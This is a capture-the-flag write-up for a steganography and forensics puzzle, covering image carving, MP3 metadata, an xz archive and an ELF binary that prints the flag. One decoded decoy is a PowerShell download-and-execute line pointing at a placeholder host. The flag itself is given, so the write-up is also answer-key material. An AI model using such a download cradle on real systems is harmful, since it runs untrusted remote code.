Week3

🔍 Week 3

Category	Author
🔍 Forensics	Flare.io

Challenge Prompt

Step forward, defenders of data and seekers of the unseen. Challenge #3 of the Flare CTF has now opened, and this trial is unlike the rest.

The first 30 adventurers to unstack the final layer will earn this week’s rare prize, an artifact forged for those who never stop digging.

Guidelines for All Layer-Walkers

• A new challenge appears each week with its own arcane mechanics.
• The quest is revealed first in the Flare Academy Discord, then on LinkedIn one hour later.
• Recover the hidden flag to unlock your reward.
• Your flag is also the discount code used at checkout. Format: flare{…}
• To keep the realm balanced, each adventurer may claim only one shirt per weekly quest.

Begin Your Descent: https://techno-plaza-2000.com/
Claim the Prize: https://merch.flare.io/

The layers await, champion.
Unstack the mystery. Claim the prize.

Problem Type

• Fornesics
• Image

Solve

To start off, I visited the site. Once there we are presented with a Tinyboard style message board. There are 5 categories:

• Random
• Technology
• CTF
• Images
• Paranormal

I started by browsing each of the boards. On the Technology board, I thought I found my first piece:

SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdABoAGkAcwBfAGkAcwBfAGEAXwBkAGkAcwB0AHIAYQBjAHQAaQBvAG4ALgBjAHQAZgAvAHAAYQB5AGwAbwBhAGQALgBwAHMAMQAnACkA

I took that Base64 string to CyberChef:

IEX (New-Object Net.WebClient).DownloadString('http://this_is_a_distraction.ctf/payload.ps1')

Well at least they were nice enough to say it was a distraction!

I continued searching the boards and on the Paranormal board and I found this - a message hidden in this image, let’s find out what it is:

I downloaded the image and then submitted to Aperi’Solve which runs a bunch of image forensics tools against the picture:

In doing so, Foremost found a hidden file, which I then downloaded. This gave me Foremost.7z which I extracted to have the png and a zip folder.
In the zip folder was a mp3 file called metadata.mp3. I started off by listening to the track, but it was just “meows”. Should have guessed that by the cover art:

I then ran exiftool against the mp3 and got this:

exiftool metadata.mp3 
ExifTool Version Number         : 13.36
File Name                       : metadata.mp3
Directory                       : .
File Size                       : 363 kB
File Modification Date/Time     : 2025:12:03 14:34:41-05:00
File Access Date/Time           : 2025:12:09 22:27:35-05:00
File Inode Change Date/Time     : 2025:12:09 21:47:17-05:00
File Permissions                : -rw-r--r--
File Type                       : MP3
File Type Extension             : mp3
MIME Type                       : audio/mpeg
MPEG Audio Version              : 1
Audio Layer                     : 3
Audio Bitrate                   : 64 kbps
Sample Rate                     : 44100
Channel Mode                    : Stereo
MS Stereo                       : Off
Intensity Stereo                : Off
Copyright Flag                  : False
Original Media                  : False
Emphasis                        : None
ID3 Size                        : 111096
Title                           : Nya
Artist                          : Cicada 1337
Album                           : Techno Plaza
Year                            : 2010
Track                           : 1337
Genre                           : Death Metal
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01000010 01010110 01111000 01110010 00110111 01101110 01001010 01101100 01101011 00101111 01000100 01000011 01010111 00110100 01101100 01101111 01110111 01000111 01011010 01000011 01101110 01101101 01011001 01001111 01001010 00110100 01110100 00110111 01110000 01110111 01010010 01111010 01110101 01100100 01100011 01101110 01100111 01000001 01110100 01000100 01110101 01010100 01101100 01101001 01100111 00110111 00110110 01001100 01110110 00101111 00001010 01110111 00110101 01110100 01111001 01011000 00110111 01010100 01101011 01101111 01011010 01110000 01110000 00110100 01100110 00101111 01001011 01110100 01110001 01100011 01001011 00101111 00110010 01000111 01100001 01101011 00111000 01001011 01101000 01001000 01000011 01101000 01001010 01000101 01100010 01101111 01110000 01101111 01110101 01100011 01100011 01101011 01000100 01100101 00110101 01101100 01111010 01001101 01001010 01100111 00110100 01111001 01001001 01101101 01001110 01110011 01000101 00111001 01010001 01110010 01101011 01101100 00101111 00110001 01011000 00110110 00101011 01001000 01100001 01100101 01110111 01001101 01001000 01010011 01000001 01101011 01100010 00001010 01110001 01000111 00110110 01100001 01010000 01000110 00110011 01011001 01110000 01000001 01110001 01101111 01001001 01101001 00111001 01010010 01100101 01100110 01101111 01011010 00110111 01111001 01110111 01100101 00110111 01100101 00110110 00110011 01010101 00111000 01000100 01100100 01001111 00110110 01110101 01001001 01011000 01011001 01000010 01010011 01001011 01010101 01110111 01001100 00110111 01110100 01000100 01001001 01001111 01011001 00110100 00101011 01100010 01100101 01000001 01100101 01100100 01100111 01010111 01010010 01001010 01101110 00110011 01000111 01001011 01101011 01011010 01001000 01110001 01110010 01000001 01101011 01010100 01100100 01111001 01001100 00001010 01010110 01101110 01001011 01100100 01010100 01001010 01101110 01010111 01000100 01110001 01001010 01000110 01111000 01110010 00110001 01101111 01010110 01101101 00110100 01001010 01010110 01000010 01010000 00111001 01000011 01001100 00111000 00110101 00110001 00110010 01100001 01010011 01001110 01100111 01010101 01000111 00101011 01010011 01001011 01000110 01001011 01101100 01011001 01001010 01000111 01001100 01101001 01101010 01000010 01010101 01100001 01110001 00110010 01010000 01110110 01100110 01110000 01101101 01010001 01000010 01101001 01001101 01010010 01111000 01110010 01011000 01010000 00110011 01110101 01110101 01100010 00110110 01001100 01110110 01101011 01000111 00001010 01101110 01110011 01101011 01101100 01001000 01001110 01100110 01001011 00110001 01101000 00110011 01110101 01101101 01010100 01010101 01011001 01010110 00101111 01100101 01101010 00110000 01111010 01101011 00110010 01110100 01010001 01100110 01100111 00110111 01010100 01100100 00110011 01001100 01100111 01010001 01101100 01001001 01110010 00101011 01010111 00110000 01011001 00101011 00110000 01111001 01101001 01000001 00101011 01000010 00110001 01100010 01101000 00110010 00111000 01100010 01101000 01010101 01001010 00101011 01010001 01000100 01010111 00110001 01101000 01000011 01110000 01100110 01010011 01011001 00110000 01110010 01010100 00110001 01101010 01110110 00110111 00001010 00111000 00110111 01011010 00110001 01010111 01100001 00110000 00110010 00110010 01111001 01000110 00111001 01101110 01000101 01110010 01111000 01110100 01000100 01101010 01001101 01101110 01101001 00110001 01111001 01101110 01001111 01001101 01011001 01000010 00101011 01011001 01001000 01101111 01101111 01011000 00111001 01010011 01101001 01010111 01000001 01110000 00110111 01000010 00110000 01010111 00101011 01000111 00111000 01110110 01001010 01110011 01101001 01000100 00110100 01000010 01100110 01111001 01101000 01101100 01010100 01001010 01010011 01100100 01010100 00110001 01001001 01110111 01110000 01101000 00110101 01010110 01001110 01100110 01100010 01110000 01101000 00001010 01101110 01110100 01100100 01100100 01000111 01011001 01110101 01000010 01010110 01110010 00110110 00111000 00110111 01010000 00111001 01110010 01000011 01110000 01101110 00110111 01101110 01101010 00111001 01010100 01101011 01011010 00110101 01000001 01110100 01110100 00111000 01101101 00111001 01101001 01010111 01101001 01110010 00110100 01110110 01001100 01110111 01000011 01100010 01000110 01100110 01100110 01000100 01001001 00110001 01101011 01110110 01011000 00110010 01001001 01001101 01010101 00110010 01101101 01001000 01101101 00110001 01100111 01111000 01000101 01100100 01100010 01000100 01001001 01001010 01100011 01010100 01110010 01010110 01110011 01110101 01001111 00001010 01011001 00101111 00110101 01010001 01110000 01100001 01010110 01100001 01110100 01111001 01001001 01111010 00110010 01011000 01111000 01100100 01100001 01010101 01001000 01000010 01101101 01100110 01110110 01100100 01110010 01100010 00111001 01101011 01000100 01101001 01110100 00110101 01100011 01010100 01111010 00110000 01010010 01000011 01111001 01000001 01101111 00101011 01000111 01000100 01110000 01100100 01000010 00110011 01100111 01010100 01111001 00110100 01001110 01011010 01110110 01101111 01101101 01101100 00110000 01100100 01101100 01001001 01110010 01111001 00110001 01110010 01101010 01100011 01000001 00101111 00110110 01110000 01100010 01100100 01000010 01011010 00001010 01001000 01001110 01100110 00110101 01110111 01100011 01110010 01001001 01100010 01000100 01110000 01100100 01010111 01110111 01001111 01100100 01010101 00111001 01110001 01000100 01100101 01000001 00110100 01101001 01100110 00110011 01011001 01101100 01101110 01110111 01001111 01010101 00110100 00101011 01001000 01001001 00110001 01010100 01000111 01011010 01001000 01101001 00110110 01111010 01100011 01001110 01001011 01000001 01110101 01101000 01100100 01011001 01111001 01111000 01101000 00101111 01101110 01000011 01010011 01101011 01110011 00101111 01010100 00110011 00111000 01011001 01111001 01001011 00110000 00110110 01110110 01000010 00101111 01011001 01101101 01011010 00001010 00111000 01001110 01101000 01001100 01101010 01101100 00111001 01100010 00110111 01010011 01010001 01110000 01001010 01000011 01100011 01000111 01100010 01000001 01110110 01001001 01001010 01101110 01001010 01010101 01101111 01111000 01001100 01100001 01110000 01011010 00110111 01100010 01000110 01001010 00110100 01011001 01000010 01100011 00110110 01000111 01001011 01010111 01100110 01000101 00110001 01111001 01101100 00101011 01101011 01010101 01100111 01000110 01110010 01111010 01111001 01011001 01110111 01010010 01010001 01101100 01101110 01111001 00110100 01010011 01000010 01001101 01110000 01101100 01000010 01100001 01001010 01100011 01001001 01001101 01011001 01000001 00001010 01000001 01000001 01000001 01000001 01001101 01101111 01100001 00110111 01001001 01110011 01110111 01110001 01110011 00110101 01011001 01000001 01000001 01100010 01101111 01010001 01100111 01001011 01000001 01000010 01000001 01000110 01100001 01110000 00110011 01101010 01010111 01111000 01111000 01000111 01100110 00110111 01000001 01100111 01000001 01000001 01000001 01000001 01000001 01000101 01010111 01010110 01101111 00111101
Picture MIME Type               : image/jpeg
Picture Type                    : Front Cover
Picture Description             : Cover
Picture                         : (Binary data 54521 bytes, use -b option to extract)
Date/Time Original              : 2010
Duration                        : 0:00:31 (approx)

Nice so our comment field is just a binary string, so back to CyberChef. A quick From Binary recipe gave me:

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

This looks like Base64, but just using the From Base64 recipe in CyberChef gave me garbage, so I suspected it might be some type of Base64 encoded file.
I added the Extract Files recipe after the From Base64 and we have a file - extracted_at_0x0.xz. So, I downloaded that file from CyberChef.

I extracted that which gave me a Stage2 folder. Inside that folder was a file called binary.

I ran cat on the file and got the flag:

cat binary                              
ELF>P@?4@8@@@???xx??   ???-?=?=PX?-?=?=?PPP@???$$|#|#|#  S?tdPPP@P?td?"?"?"$$Q?tdR?td?-?=?=000GNU????GNU^DgQ?????????w??֬/lib64/ld-linux-x86-64.so.2O 'k z "puts__libc_start_main__cxa_finalizeprintflibc.so.6GLIBC_2.2.5GLIBC_2.34_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTable.ui	8???D?@??@??????????@??H?H??/H??t??H???5?/?%?/@?%?/h??????%?/h???????1?I??^H??H???PTE1?1?H?=??K/?f.?H?=?/H??/H9?tH?./H??t	?????H?=i/H?5b/H)?H??H???H??H?H??tH??.H????fD?????=%/u3UH?=/??.?c?????.]?f.??@ff.????g???UH??H??0H??H?E?H??H?E?H??H?E?H??H?E?H??H?E?H?E?H??H??H?׸????H??H???~???H??H???o???H?H???`???H?YH???Q???H??H???B???H??H???3???H?H??H?׸
??????????H?H??flare{n3sted_thr34d1ng_1337}%s                         /$$                                                                        | $$                                                 /$$  /$$  /$$  /$$$$$$ | $$  /$$$$$$$  /$$$$$$  /$$$$$$/$$$$   /$$$$$$     | $$ | $$ | $$ /$$__  $$| $$ /$$_____/ /$$__  $$| $$_  $$_  $$ /$$__  $$    | $$ | $$ | $$| $$$$$$$$| $$| $$      | $$  \ $$| $$ \ $$ \ $$| $$$$$$$$    | $$ | $$ | $$| $$_____/| $$| $$      | $$  | $$| $$ | $$ | $$| $$_____/    |  $$$$$/$$$$/|  $$$$$$$| $$|  $$$$$$$|  $$$$$$/| $$ | $$ | $$|  $$$$$$$ /$$ \_____/\___/  \_______/|__/ \_______/ \______/ |__/ |__/ |__/ \_______/|__/
%sFlag: %s%s
Nice work!$H???Xx???@q????zRx
                            0???&D$4????0FJ
-                                          ??;*3$"\????2A?C
GNU@?.
|????o???
?
 ??0H?	??????oX???o???oD???o?=6F@GCC: (GNU) 15.2.1 20251112????=?"$??:W ? @s? @I2? @? "3? ?(@?
         main.c_DYNAMIC__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_start_main@GLIBC_2.34_ITM_deregisterTMCloneTableputs@GLIBC_2.2.5_edata_finiprintf@GLIBC_2.2.5__data_start__gmon_start____dso_handle_IO_stdin_used_end__bss_startmain__TMC_END___ITM_registerTMCloneTable__cxa_finalize@GLIBC_2.2.5_init.symtab.strtab.shstrtab.note.gnu.property.note.gnu.build-id.interp.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.note.ABI-tag.init_array.fini_array.dynamic.got.got.plt.data.bss.commentP.??$A??I???o?S
0 00X"?"?29?3%                                                    aaaaaaaaaa

But running that file, would also gave the flag:

Flag

flare{n3sted_thr34d1ng_1337}

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